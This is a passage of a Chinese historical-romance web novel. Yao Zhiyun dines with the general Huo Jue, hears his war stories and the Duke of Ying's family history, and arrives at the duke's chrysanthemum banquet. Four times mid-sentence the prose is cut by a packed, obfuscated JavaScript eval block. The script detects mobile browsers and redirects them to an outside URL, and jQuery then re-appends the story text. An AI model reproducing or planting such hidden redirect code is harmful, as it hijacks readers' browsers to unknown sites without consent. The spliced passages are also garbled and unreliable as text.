姚知韫灵光一闪，皇帝这是想让赵虢和霍抉两虎相争，他便可坐收渔利，果然能坐上那个位置上的，即便昏庸，也是只老狐狸。 想着想着，她突然觉得是否要提醒一下霍抉，登高必跌重，韬光养晦，方为上策。 转念又想，还是算了，霍抉能坐到这个位置，又岂会是无能之辈，他既然回京趟了浑水，想来是有的放矢，不然即便她提醒一次，下次呢？还是要靠自己，他看上去也不是那种任人宰割的。 霍抉远远地望着那个与平日里截然不同的姚知韫，心头像被羽毛轻轻扫过，痒痒地，那才是真正的她，会笑，会闹，会促狭人，他忍不住想，要到什么时候，她才能在他面前，也这般松快自在呢？ 想着，想着，竟有些期待起来，他不介意慢慢地等，等她长大，等她依赖，总能等到的。 他还记得小时候，人前她也是这副冷淡的模样，他原以为她就是那般的性子，直到有一回，他也是如此这般远远地看着她，她一个人秋千荡得老高，笑声清脆脆的，像檐角的风铃，一串一串，洒了满院子，那是他这辈子听到过最好听的声音。 后来，她爬到老槐树上，摘了很多槐花，做了槐花饼，见他过来，便大方的请他吃，热乎乎的，甜滋滋的，那便成了他记忆中最难忘的滋味，后来在驻守嘉兰时，遇到粮草不济，便让人去摘了槐花来吃，却再也没有吃到过她的那种味道。 是何时开始，她再也没有那般笑过了？ 如今看着她为他担心，他心底的欢喜是压也压不住，只是笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099268|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着看着她满心满眼的担心。 晚膳时候，姚知韫鬼使神差还是将那卷《淮阴侯列传》随手搁在饭碗边上，有一搭没一搭地翻着，这七年间，虽没直接的交集，他也是尽心尽力的护着她的，不然以她这庞大的家产，一个孤女，只要有心总能想办法将她拆解入腹，就当是还他人情。 她吃饭时向来没有看书的习惯。若他真如表现出来的那般了解她，便该留意到——能做的，她也就到这一步了。至于他能不能从那字里行间瞧出些什么来，便看天意了。 霍抉的目光在那书卷上停了停，眼底倏地掠过一丝极亮的光。 兔死狗烹……她这是在拐着弯儿地提醒他？ 她果然……是担心他的？ “韫儿，”他心头一热，嘴角便漾开去，“你放心。” 姚知韫一愣，抬眼看他。 “我不会走到那一步的。”他说得轻缓，却字字笃定。 姚知韫脸上有些挂不住——谁要替他担心了？真是自作多情。 她“啪”一声将书合拢，丢到一旁，斜斜睨了他一眼，便低下头去，专心对付碗里的米饭，再不肯接他的话茬。 霍抉也不恼，自顾自地说起些边关的趣闻。大漠的风沙，羌人的歌，夜里营火边上兵士们胡编的瞎话…… 他到底是中过状元的人，肚子里有墨水，寻常故事经他一说，便活泛起来，似乎有了颜色，引人入胜。 起初姚知韫还绷着，不肯显得太在意，听着听着，紧绷的肩线不知不觉便松了，偶尔还会插一句：“后来呢？” “后来，我就带着那一百二十多人，在他们的必经之路上，挖陷阱、设了绊马索，然后就等着他们，这一等便是十二天，终于让我等到了那些羌人，他们刚从我们的村子里抢了粮食、女人，羌人不种地，他们只会打猎，东西没了便抢，自己的抢完了，就抢别人的，抢回去的东西，总是不知道珍惜，多年来死在羌人手里的晋人，数不胜数。” “那十二天里，我们冻死了十二个，有一半留下了病根，一到夜里咳的撕心裂肺，那会我就想，打完这场就回京，”说着，霍抉的目光便落在姚知韫的身上，回来见她，只守着她，哪里都不去了。 “可后来我发现，这仗根本打不完，羌人抢，晋人杀，杀了又来，来了再杀，像野草，烧了一茬，春风一吹又冒出来，不仅有羌人，还有胡人，北境那长长的边境线，仗无休无止。” 霍抉停了下来，他抬起眼，眼眶泛着红，像深井里映出的碎月，一晃，又沉了下去。 “每一仗——”，他喉咙动了动，“都死很多人。” 他人就坐在这里，可魂却好似又回到了战场上，满地的死人，满地的血，满耳的哀嚎，还有那些混着飘过来的腥臭味。 场景流转，好似又回到了上一世，她浑身浴血，一步一步爬着到他的面前，求他救她，而他束手无策，他像又一次陷入了梦魇，直愣愣的。 “霍抉——，”姚知韫一声声地唤着， 过了很久，他的目光从遥远的地方聚焦，最后落在姚知韫的脸上，她的脸近在眼前，面带关切的问他，“你怎么了？” 5. 熟悉的桂花香 霍抉猛地一把将她拖入怀里，箍得紧紧的，头深深地埋进她胸前，呼吸又沉又重。 姚知韫用尽了力气也没有推开他，“霍抉，放开——。” 他松开手，抬起头极力地想要扯出一抹笑意，“吓到你了。” 声音很低，也很淡，可姚知韫就是听出了他话语里的伤痛，像秋后荷叶上凝着的霜，看着轻，底下却压着枯了的茎，终是不堪一击。 这和她看到的霍抉不一样，他走的时候给留下护卫，甚至不容她拒绝，又常常送来很多东西，时刻提醒着她这个人的存在，回京了又强势的住进她家，这样的人，她总觉得他像山，像树，像铜墙铁壁，风雨轻易不能撼。 她突然想起不知道在哪本书上的看到的一句话，战场上的那些伤，伤都不在皮肉上，是在刻在心里，印在骨头上，还有很多看不见的地方。 霍抉，也是如此吗？ 他从默默无闻到镇北将军，只用了七年的时间，这七年，他是怎么过来的？ 霍抉别过脸，躲开姚知韫探究的目光，下颌线绷得紧紧的，这是他极力克制的姿态，克制已经成了一种习惯，习惯到他连自己都忘了。 可还是让她看见了，在她面前，他连一丝的克制力也守不住。 他转回脸，眼底那片红已经褪了，又恢复成深潭似的平静。或许还有一些在她面前露出情绪的窘迫，藏在潭水底下，瞧不真切。 姚知韫觉得她要说些什么，“都过去了”或者其他什么宽慰的话，可话到嘴边，又觉得太苍白，配不上他眼底的那份沉重。 最后，她只是伸手，替他蓄满热茶。 茶水注入杯中的声音，在寂静的夜里格外清晰。 霍抉看着那袅袅升起的热气愣了一愣，然后慢慢、慢慢地，嘴角弯起一个极浅的弧度。 “北境的中秋节，”姚知韫随便找了个话头，拣个轻松的问，“热闹吗？” “热闹，”霍抉接的自然，声音松了下来，“只是比京里冷，有时候会下雪——” “雪呀！”姚知韫有些向往，她是南方人，前世没见过雪，来到这里京城也下雪，可姚府太冷清了，无人玩闹，只有白茫茫的一片。 就这么一句一句，话赶着话。渐渐，屋里的气氛缓和下来。两个人都像忘了方才那模样——一个忘了露怯，一个忘了窥见。 后来，只要她问，他总是答的格外仔细，眉眼也跟着活络几分。 他讲的起兴，她也听的入神，一来一往，窗外天色暗透也未曾察觉，一顿饭竟这么稀里糊涂的吃了一个时辰。 直到小桃进来添第二回茶水，瞧见桌上几乎没怎么动的饭菜和说得正起劲的两人，先是瞪大了眼，随即抿嘴一笑，又悄悄退了出去。 姚知韫这才惊觉时辰不对，耳根有些发热，霍抉却已泰然自若地端起那盏冷透了的茶，喝了一口。 他轻咳一声，掏出一张烫金的帖子，搁在桌上，“英国公府的赏菊宴，我陪你去。” 姚知韫眼皮微抬，怎么又是英国公府？正想拒绝，便看到霍抉眼底一闪而过的极隐晦的什么，像深潭底下倏然掠过的一道光。 她于是将到了嘴边的话咽了回去，垂下眼，几不可闻地轻叹了一声，有些负气似的，伸手将那帖子拿了过来。 她是知道的。自己不可能一辈子缩在这府里不出去。 今年她已经十四了，明年就该行及笄礼。 就算是她自己不想嫁人，也会有人会把主意打到她的身上，要不然苏姨母怎么那么不遗余力地要算计她，她逃不掉，只是鸵鸟做久了，便觉得只要躲起来，便不会有什么事情。 可事情哪有那么简单。 她母亲姓苏，苏家是大晋数一数二的富户。当年母亲出嫁，外祖父几乎将半个苏家都给她做陪嫁。这些年，单是每年的红利银子，便是一个吓人的数目。谁家若娶了她，等于是将一座挖不完的金山迎进了门。 偏偏她又没有娘家可倚仗，往后的日子，是好是歹，不都由着婆家说了算么？ 当然她还有一条路，她能回到苏家，用苏家做靠山，可一来苏家是商户，要是真有人动了心思，苏家难道会为了她得罪权贵？二来这么多年来，苏家对她这个孤女不闻不问，里头的意思已经明明白白，想来也是因为当年外祖父将大半家业都给了母亲，惹得苏家其他人的不满，特别是如今掌家的舅父。 如今的外祖母是苏姨母的亲娘，却并非她母亲的，这大概也是外祖父为何要将半个苏家给母亲的原因，苏家到底发生过什么，她并不想知晓，那么错综复杂的关系，她光想想都头疼，更何况还要搅进去，她是一点心思都没有。 女子难为，她是早就知道的，只是这种难还是超出了她的设想。 有时候姚知韫也会想，若是她现在离开京城，寻个清净地方隐居起来，不知道行不行得通。 可念头一转，自己便先摇了头。如今外头烽火连天的，流民处处都是。别说她一个十几岁的姑娘家，便是身强力壮的男人，想安安稳稳活下来，怕也难。 想到这里，心口像被一块冷硬的石头轻轻硌了一下，微微地泛着凉。 她倏地抬起头，目光落在霍抉脸上。 最后一种选择，就是找一个靠山，目前看来，霍抉似乎是她唯一的选择，只是她还不知道霍抉的目的，他在她身上到底图什么？ 他说要陪她去赏菊宴。 难道……是想借着这个由头，让那些人知道，她背后有他这个倚仗？ 还是说，他真要替她相看人家，择一门亲事？ 算了，不就是赏菊宴吗？兵来将挡，水来土掩，若是真挡不住，这不还有霍抉吗？到时候把他扔出去挡。 心下有了决定，便也没那么患得患失了，将帖子在指尖转了一圈，捏在手上，“行吧！” 言罢，她便出了膳堂，晚饭后她有走一走的习惯，消消食。 霍抉心里松了一下，笑得格外开心，终于，走出了第一步。 看着姚知韫走了出去，他也便紧随着跟了出去。 清晨，推开窗，一股甜丝丝的味道，便和清冽的晨气混在一起，凉凉的灌进肺里。 这是姚知韫来到这里第二年，便闹着父亲给她移栽的桂花树，临近中秋，桂花开了。 她还记得病房外挨着窗户的槐树，夏天开花的时候，一嘟噜一嘟噜的，白里透着些微的鹅黄，像落了一树还没化尽的残雪，香气更是瞒不住，清清淡淡的，带点甜，又不是蜜糖的那种甜，像是隔壁人家煮了新的燕麦粥，揭开锅时飘出那股粮食的清气，再掺上那么一丝丝若有若无的奶味儿，就那么柔柔地、凉凉地，裹着你。 可那时候，她心里却更惦记另外一种香气，不知道栽在哪里的桂花，只是被其他的树盖的严严实实的，她找不到，却总是能闻到，不像栀子、茉莉，开在眼前，香得直冲冲的，逼着你闻，它是悄悄的，一团一团的，等你觉得鼻子底下有点异样，甜甜润润的，那香气早已把你笼着了。 后来，她便让父亲把桂花树也栽在窗前，一转头便能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099269|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见。 再后来，桂花开了，她凑近去看，终于瞧见了枝叶底下，米粒似的黄花，一簇一簇，藏得严严实实。 看着这些花，心里便格外地静，也格外地踏实。仿佛外头纵有狂风暴雨，她也能在这片甜润的寂静里，寻得一处安顿。 “姑娘——” 小桃的声音远远地传来。 姚知韫朝那边招了招手。小桃便像只雀儿似的，轻快地跑了过来。 “把早饭端到屋里来吃吧。”她说。 她这会儿，还不太想瞧见那个让她心里有些烦乱的人。 “哎，好！”小桃也不多问，高高兴兴地应了一声，又蹦跳着去了。 走到一半，好似又想起来什么便匆匆折了回来，“姑娘，刚才霍将军交代，巳时二刻，云锦阁的绣娘要来给姑娘量身，帮您做衣裙。” 姚知韫轻蹙眉头，她极少出门，衣裙也不多，且以舒适为主，参加宴会的衣裙还真的没有，便也没有拒绝，应了下来。 随着云锦阁的绣娘一同来的，还有霍抉打发人送来的十几匹料子。 料子都是上好的，在日光下泛着柔滑的光泽。颜色也鲜亮，正红、宝蓝、鹅黄、葱绿……热热闹闹地铺了一桌子，像是把春日花园里最明艳的花都采了来。 姚知韫伸手摸了摸，料子是好料子，只是这颜色……不大对她。 她生得淡。眉眼淡淡的，肤色也白净，不是那种明艳照人的白，是像细瓷胎子，透着一层润而静的光。眉宇间总像是笼着一缕极淡的烟，天生的，化不开。她怕是压不住这么热闹的颜色。 这些鲜亮的绸缎，该配那些笑声爽朗、眉目飞扬的姑娘。 于是，她最后还是定了月白同玉色的料子，临了，又在绣娘的再三劝说下，添了一匹浅樱，一匹藕荷，至于样式，她向来没太多主意的，便由着她们去斟酌，顺便吩咐给小桃也做上两身新衣服。 她便一头扎进了书房，小桃知道她的习惯，断不会打扰她。 她的书房很大，东西也很多，显得有些满满当当的。 进门的左手边，立着三排到顶的多宝阁，上头整整齐齐，密密匝匝地的垒满了书，除了翰林院，怕是很难找出第二处有这么多藏书的私宅了，多宝阁前头，横着一张特意定做的书桌，足有三米长，桌面摊着些未完成的画，有她自己画的一些山水画，也有平日里描摹的名家笔意，日子久了，那些描摹也能瞧出八九分的风骨，几乎可以乱真。 右手边，则是另一番天地，琴、筝、琵琶，静静地悬在架上，角落里还倚着一把二胡，样样都收拾得齐整，倒像养着一支无声的小乐队。 正对着门的窗下，摆了一张茶桌，煮水烹茶是她顶喜欢的消遣，茶台边放着一幅棋盘，偶尔来了兴致，便会自己同自己对弈，左右手厮磨半晌，也是一种清净。 前世养成的那些习惯，早已让她活成了一种自给自足的姿态。一个人读书，一个人画画，一个人弄琴，一个人吃茶。日子像是被这些静默的物事填满了，反倒不觉得需要旁的人来凑什么热闹。 朋友么，似乎也成了件可有可无的东西。 她的日子过得简单，甚至有些寡淡，午膳后，她便会坐在那棵老槐树下，晒着太阳，喝着茶，看几页闲书，日影慢慢从东边移到西边，一天的时间，也就这么消磨过去了。 日复一日，年复一年。 霍诀不知道忙些什么，好几日没见着人影。 日子一天天过，不知不觉，便到了赏菊宴那日。 6. 过往 日暮黄昏，将天边染成一片暖融融的橘色时，霍抉大咧咧地进了她的院子，他好像从来不懂得避嫌这回事，她总归是个未出阁的姑娘，而他是她名义上的“叔父”。 姚知韫推开门，便瞧见他负着手，立在桂花树下。 她双手抱在胸前，倒是仔细地瞧着这个人。 他的身量是真的高，头顶几乎要碰到桂花树的枝叶了，脸是清瘦的，下颌线利落，像是被边关的风沙仔细雕琢过，皮色不算白，是那种经年日照后，匀匀的晒出一层微苍色， 最特别的是那双眼，眼廓深邃，眼皮薄薄的，垂下时便遮去大半眸光，显得有些疏淡，可一旦抬起看人，里头那股子定定的，仿佛能穿透人心的神气，便藏不住了。 看的人心里有些发毛，倒像自己真做错了什么事似的。 西斜的光从一旁掠过，在他肩上切出一道明暗分明的界，他就那么站着，不言不动，书生的文秀与百战将军的硬朗，在他身上奇异地融成一体，像一柄入了鞘的名剑，光华敛尽，只余下温润的纹理，与沉甸甸的分量。 她瞧着瞧着，竟有些出神。 这个男人的身上，有一种近乎危险的、却让人沉沦的东西。 直觉告诉她，这样的人，该离得远远的。 姚知韫轻咳一声，拉回自己的思绪，也提醒自己，他们不是一路人，他是惯在权力漩涡里周旋的，而她只想守着一方清净，简简单单的活着。 霍抉听到声音，朝着她的方向看了过来，心像被什么东西极轻的撞了一下。 她今日穿了身藕荷色的衫子，料子是时兴的花绫，颜色淡淡的，像将开未开的紫芍药，领口和袖缘镶了极细的一道牙白边，若不细看几乎瞧不出来，裙子是配的玉色，比衫子更浅，走起路来，便像一汪静静的、流动的月光。 头饰梳得也简单，乌油油的一把，在脑后松松的绾了个发髻，用一根素银簪子固定，鬓边没有多余的饰物，只额前自然垂下几缕细软的碎发，风一吹，便轻轻的拂在脸颊边，像初春河岸上才抽芽的柳丝，带着点茸茸的，不经意的生机。 他一直都是知道她生的好看，却不成想，能好看成这般模样，她只是站在那里，不声不响的，却把满院的秋光都压得淡了下去。 院子里这些花啊树啊，甚至斜过来的日头，都成了多余，他甚至觉得，连他自己站在这里，也有些多余。 心里隐隐闪出一个念头，他后悔了，不该让她出去的，这样的一个人，他只想将她藏起来，妥帖的收着，谁也不给瞧见。 这个念头让他喉间发紧，他别开眼，去看那棵桂树，目光却还是不由自主地落回她身上。 最后，他只是几不可闻的叹了半口气，压下心底躁动，平静的道，“走吧，时候不早了。” 这是父母去世后，姚知韫第一次走出家门，霍抉帮她准备的马车是侯府的规制，黑漆的车身，在暮色里泛着乌沉沉的润光，三匹马个头匀称，毛色油亮，不安地踏着蹄子。 马车旁边立着一个身着粉色衣裙的侍女，长得不算出众，却淡定异常，看上去让人觉得安心。 见到姚知韫出来微微屈膝行了礼，“奴婢芙蓉，见过姑娘。” 姚知韫望向霍抉，他微微点头，她没说什么，小桃的性子确实不适合跟着她出门，她也需要一个丫鬟，便默认了。 霍抉撩开厚缎子的车帘，里头暗沉沉的，只小几上一盏明觉灯，晕开的暖黄的光照在铺了湛蓝绒垫的座位上，空间很是宽敞，坐三四个人也不显得挤。 因着她的喜好，旁边甚至还煨着一壶热茶，放了一本《大晋岁时记》的蓝皮封面书。 姚知韫见了，嘴角不自觉地弯了弯，笑意依然极淡的，可分明能看得出此刻的她，是欢喜的。 她扶着车门，踏着乌木的踏凳上了车。霍抉跟着跃上车，袍角只微微一荡，人已经在她对面坐稳了。 “走”。 车夫轻轻一抖缰绳。三匹马步调齐整地抬了蹄，马车便稳稳地动了。轮子压在青石板路上，发出辘辘的、闷闷的声响，不紧不慢的，沿着长长的街，一路缓缓地行下去。 街边的铺子、行人、幌子，都渐渐地往后退了，成了模糊的、流动的背景。只有车里这一方小天地，茶香幽幽地漫开来，混着新书的纸墨清气，安安稳稳的。 姚知韫拿起书，却没翻开。她闭上眼，指尖无意识地在膝头叩击，有节奏的一下又一下。 霍抉看着她那个小动作，淡淡的笑开来，不知道她有没有意识到，她一紧张手指便会无意识地敲击，越是紧张，节奏越快，比如现在，她可能还没意识到，她指尖叩击的节奏愈发地快了。 “在想英国公府？”他淡淡的开口，声音低沉，却能安抚人心。 姚知韫缓缓睁开眼，定定地看着他。 霍抉沉默半晌才开口，语气平缓得像在讲古，“第一任英国公宋德谦。寒门出身，以二甲第七名的成绩中举。没背景，没人脉，在翰林院坐了六年的冷板凳，每日青灯黄卷，不声不响。” “后来放出去做知县，倒像是鱼入了水。修渠，办学，劝农，一件一件地做，政绩斐然。百姓叫他‘宋青天’。” 他顿了顿，声音低了些：“真正让他名动天下的，是宣德七年那场大雪。” 姚知韫静静听着，指尖叩击的速度却渐渐缓了下来。 “那一年，西北三州，大雪封门。赈灾的银子往下拨，一层又一层，到百姓手里只剩糠皮了。那时宋德谦已是户部侍郎，五十多岁的人，自请去督赈。” “去了，便真扎下了。不住官驿，住破庙。每日裹件老羊皮袄，在雪地里深一脚浅一脚地走。亲自盯着开仓，看着米下锅，粥要插筷子不倒才许分。”霍抉的嘴角似乎动了动，“有一回，为追三车被克扣的粮，他连夜追出八十里。回来时，眉毛胡子全结了冰，像个雪雕的人。” “那一年西北，活下来的人比往年多三成。先帝在朝堂上叹：‘文臣有此风骨，大晋之幸。’便封了英国公。” 他说到这儿，停住了。车轱辘的声音一下一下，格外清晰。 “爵位传到如今，是第三代了。”霍抉的声音淡了些，“架子还在，可里头，渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099270|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空了。” 姚知韫抬起眼看他，西斜的光从他侧脸滑过去，把鼻梁和下颌的线条描得格外利落。 “如今的英国公宋昭，”他顿了顿，“在太常寺领个卿职，正三品，管祭祀礼乐，倒也不用费什么心思。靠着祖上留下的那些旧书旧礼，场面也能应付。” 车轱辘碾过一块松动的石板，“咯噔”一声响。 姚知韫的心里也轻轻的“咯噔”一下。 这人说话，像用薄刃划豆腐，面上光光的，底下却都剖开了。 英国公传承到如今第三代了，按大晋律，再往下便是降爵承袭，大势挡不住。 ‘不费什么心思’，分明是说，宋昭没实权，往后也不会有什么破天的功劳等着他，到了这个年岁，这个位置也就到头了。 她忽然间又有些怅然，人常说‘富不过三代’，寒门里挣出的世家，终究无法与霍家那样盘了几百年的老树比起来，到底是浅了些，若是没出个格外的争气的，门楣便渐渐矮下去。 风从车链子底下钻进来，凉丝丝的，她把手拢进袖子里，继续听霍抉不徐不疾的往下讲。 “宋昭膝下三子三女。”霍抉语气里听不出什么情绪。 “嫡子宋平，是正妻——昌平伯府嫡女所出，”他脸上好像浮现一抹嘲讽的笑意，转瞬即逝，姚知韫没抓住。 “当年的宋昭与他舅舅家一位庶出的表妹李氏青梅竹马，却因门第不匹，被逼娶了昌平伯府的孙氏，可宋昭依旧舍不下表妹，成婚当日李氏也进了门，” 车轱辘吱呀吱呀，他的声音混在里面，有种奇异的清晰。 “李氏进了门，宋昭觉得亏欠，一味的宠着，不仅掌管着国公府的中馈，还一连生下了宋安、宋廷两位庶子，还有女儿宋玉，可国公府毕竟不能没有嫡子，老夫人逼着宋昭必须生下嫡子，否则就要夺走李氏的管家权，宋昭无奈，一年后孙氏生下了宋平，可毕竟小妾当家，根不正，这宋平也被养歪了，终日里声色犬马，好赌成性，飞扬跋扈，还常常仗势欺人。” “国公府没个善经营的人，老夫人去世后，家底更是被掏空了，可偏还要维持破天的排场，银子如流水般的花出去——。” 他止住了话，没有再说下去。 只是转过脸，静静望着窗外，他眼底翻涌着压不住的暴风雨前墨黑的海，但很快他垂了眼，将那一片惊涛骇浪无声地敛进睫毛的阴影里。 他不愿叫她看见。 姚知韫望着自己袖口上细细的缠枝纹，那些藤蔓弯弯绕绕，缠的密不透风，缠的她有些透不过气。 一个亟待填补窟窿的国公府，一个手握巨资又无可靠傍的孤女。 还有比她更合适的猎物吗？而京中这样的世家不胜凡几，此刻的她，像一块肥腴的、又无人看守的肉，搁在饿狼环伺的道上。 风又凉了些，她将手往袖子里拢得更紧。指尖碰到腕子上温润的玉镯，凉浸浸的，心里却拂过丝丝凉意。 车里安静下来，先前幽幽的茶香，混着书页的清气，还在鼻尖萦绕，却怎么也暖不透这忽然沉下来的静默。 7. 赏菊宴 “芙蓉会些拳脚，也懂些医理，以后她便跟在你身边，”霍抉的声音忽然响起，不高，却像是在这潭净水里投下一颗石子，也让她的心跟着颤了颤。 说完他顿了顿，像是想起什么，又补了一句：“你要是不喜欢，就换。” 后头的这句说得轻，可姚知韫还是听清了，那话里藏着一份小心翼翼。 她低低的回了一句，“谢谢！” 他望着她，她的脸在灯影里显得更白了一些，搁在膝头的指尖无意识的蜷着，指尖一下一下愈发快地叩着，像檐下急了的雨点。 他伸出手，用他宽大的、带着厚厚硬茧的掌心，轻轻覆住那只不安的手。 掌心是温热的，甚至有些滚烫，那层粗粝的茧子摩挲过她光滑的手背，有些微微的刺痛。 “别怕，” 他的声音低低的，像从压实的泥土里挣出来，沉甸甸的，落进她的耳里，却好像在她的心上掀开了一丝缝，漏进来一点光。 有我。” 他又说，这一回像一块打磨许久的卵石，落在那里，便定了。 姚知韫觉得，那掌心的温热似乎又炽热了几分，那层粗硬的茧子，此刻磨着皮肤，在微微的刺痛里生出一种奇异的安稳。 她抬起头，望向昏黄灯影里他模糊的侧脸轮廓。 “为什么？”她问的很轻。 他听见了，却没有回答。 只是静静地、深深地看了她一眼后，别过脸，将目光投向车窗外，眼底那些流动着，压不住的东西，随着一声极轻的叹息，转瞬便没了痕迹。 为什么？为了她能好好活下来，肆意一生，为了让她能好好呆在他羽翼下，干干净净。 也为了——他心底埋得太深，藏得太久，再无论如何也压不住的念想。 车里又静了下来，只是那只温热的手掌，实实在在地覆着她的手，没有放开。 在马车停下前，霍抉低声说了一句，“除了芙蓉给的东西，什么也别吃，别喝。” 英国公府的门庭，依旧阔气。 两尊石狮子蹲在朱红大门的两边，鬓毛卷得讲究，眼睛瞪得滚圆，只是年岁久了，爪子上蚀出些麻点来，门楣上‘英国公府’四个金字，漆色有些黯了，在暮色里沉沉地泛着旧光。 姚知韫扶着车厢门框，正要探身，一只手已稳稳地伸到跟前。 是霍抉，他掌心向上，手指修长，骨节分明，虎口和指根覆着一层粗砺的厚茧，在渐暗的天光里，像一块被河水磨糙了的青石。 她有些迟疑，别说他只是名义上的“叔父”，即便是父亲，这样的举动也是不合礼数的，可方才两人是从一辆马车上下来的，这也是说不清楚的事。 就这片刻迟疑的功夫，门口候着的，门内经过的，好几双眼睛都若有若无的扫过来。 这位姑娘是谁？竟能让新晋的赤衣侯，京营提督，他竟如此周到地，甚至带着逾矩的亲昵，去搀扶。 英国公府的引客的管家是个机灵人，见此情景，忙堆了满脸的笑，急步上前，腰弯得恰到好处，“提督大人安好，姚姑娘好，国公爷已在水榭候着了，两位请随小的来。” 听到‘姚姑娘’，那些目光瞬间复杂起来，有些惊诧的忍不住和同伴交换眼色，有些恍然的大约想起了些陈年旧事与两家的渊源，更多的还是揣测与打量，探究着二人之间的关系。 也有自诩守规矩之人心下鄙夷：“行伍之人，果然不懂礼数。” 霍抉的目光却只停留在姚知韫身上，抬起的手也未放下，他知道这不合礼数，可他就是想告诉里面的那些人，他是她的倚靠，想要打她主意的，总要掂量一下。 姚知韫无奈，却也只是轻轻地扶了霍抉的手腕，缓缓下了车。站定后便快速地将手抽回，耳根微微发热，心下腹诽，这霍抉到底要做什么？ 霍抉侧身让出半步，示意姚知韫先行，姚知韫微微颔首，抬步踏上石阶，她能感觉到，那些或明或暗的目光，黏在身上，可她也竖起了屏障，将那些探究与喧嚣，都隔绝在外。 她目不斜视，步履平缓，仿似走在自家回廊，只是袖中的指尖，无意识地，轻轻捻了捻腕上那圈微凉的玉镯。 霍抉跟在她身后半步之遥，不紧不慢，脸上没什么表情，目光沉沉扫过周遭那些窃窃私语或悄然窥视的面孔，似漫不经心，却又让人倍感压力。 他们一前一后，一静一稳，随着每一步都搅动着光映浮华，在每个人心上激起涟漪。 赏菊宴摆在一个名叫“澹圃”的园子里，这园名起得雅，澹泊明志的意思，只是今日的菊花，瞧着不大“澹泊”。 姚知韫随着管家的脚步一进园子，便觉得眼前一眩，各色的菊，像打翻了染缸，泼泼洒洒，金黄的、雪白的、蟹壳青、胭脂红——，一盆一盆，沿着石子路摆开。 花匠下了狠功夫的，每一朵都开得圆满，花瓣层层叠叠，密密匝匝的，风来的时候，千百朵花齐齐地向一边，静悄悄的，说不出的热闹。 一道池塘将园子一分为二，不远处有大片的荷叶，荷花已开败，只有几尾红鲤懒懒地穿梭着。 两边各搭着一座水榭，东边是是男子聚谈处，西边是女眷说笑处，榭是畅轩，四面的湘妃竹帘高高卷起，好教人看花看水两不耽误。 英国公宋昭早已得信，急急从东边水榭迎了出来，他穿着赭色的团花袍子，把他有些矮短的身材衬得愈发圆融，脸上堆着笑，老远便拱起了手 “提督大人莅临，真是蓬荜生辉，蓬荜生辉呀！” 话音未落，一个穿碧青色绣团锦花卉长衫裙的女子，已悄步跟在他身侧立定了。 瞧着三十出头，身段是袅娜的，眉眼也生得细致，脸上也堆着笑，却不比英国公的笑真切，像在面上均匀地敷了一层蜜糖。 一上来便攥住了姚知韫的手，手有些凉，带着一股子甜腻的桂花头油香气，姚知韫不自觉地蹙了蹙眉头，稍稍退后半步，不动声色地抽回了自己手。 “想必这位便是姚姑娘吧！”她一开口，声音脆生生的，像咬了一口水萝卜，“真真的，生得这般好模样。” 按照霍抉的说法，国公府是李氏当家，想来这位便是李氏了。 姚知韫含笑地点点头，屈膝行了礼，“夫人，” 无论是谁，既然站在国公身侧，又梳着妇人发髻，称呼一声夫人总归是没错的。 她转过头看向身旁的霍抉，他原本冷着的脸上，漾开了淡淡的笑意，像春冰初裂，扬了扬下巴，“去吧！” 这一抹笑，让看过来的人心里都开始重新掂量这位姚姑娘的分量。 李氏脸上的笑意更深了，言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17099271|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语间也就显得更加亲热，“姚姑娘年岁和玉儿相当，”她说着，手又覆了上来，将姚知韫的手捧在掌心，轻轻拍着，就好像一个慈祥的长辈，看着一个喜爱的晚辈。 她慢走两步，朝女眷那边招招手，声音放的又柔又软，“玉儿，还不快过来见见姚家妹妹。” 一个穿着樱草色衫子配月白裙，眉眼与李氏有六七分像的少女，便从女眷堆里袅袅地走了出来，发间的珠花随着步子一颤一颤，脸上也挂着笑，可那笑浮在面上，不往眼底去，微微扬起的眼角斜睨过来，显得漫不经心。 “姚姑娘，这位是小女宋玉。”李氏转过头，“玉儿，姚姑娘头一回来，你陪着她些，园子里各处走走，说说话，可别怠慢了。” 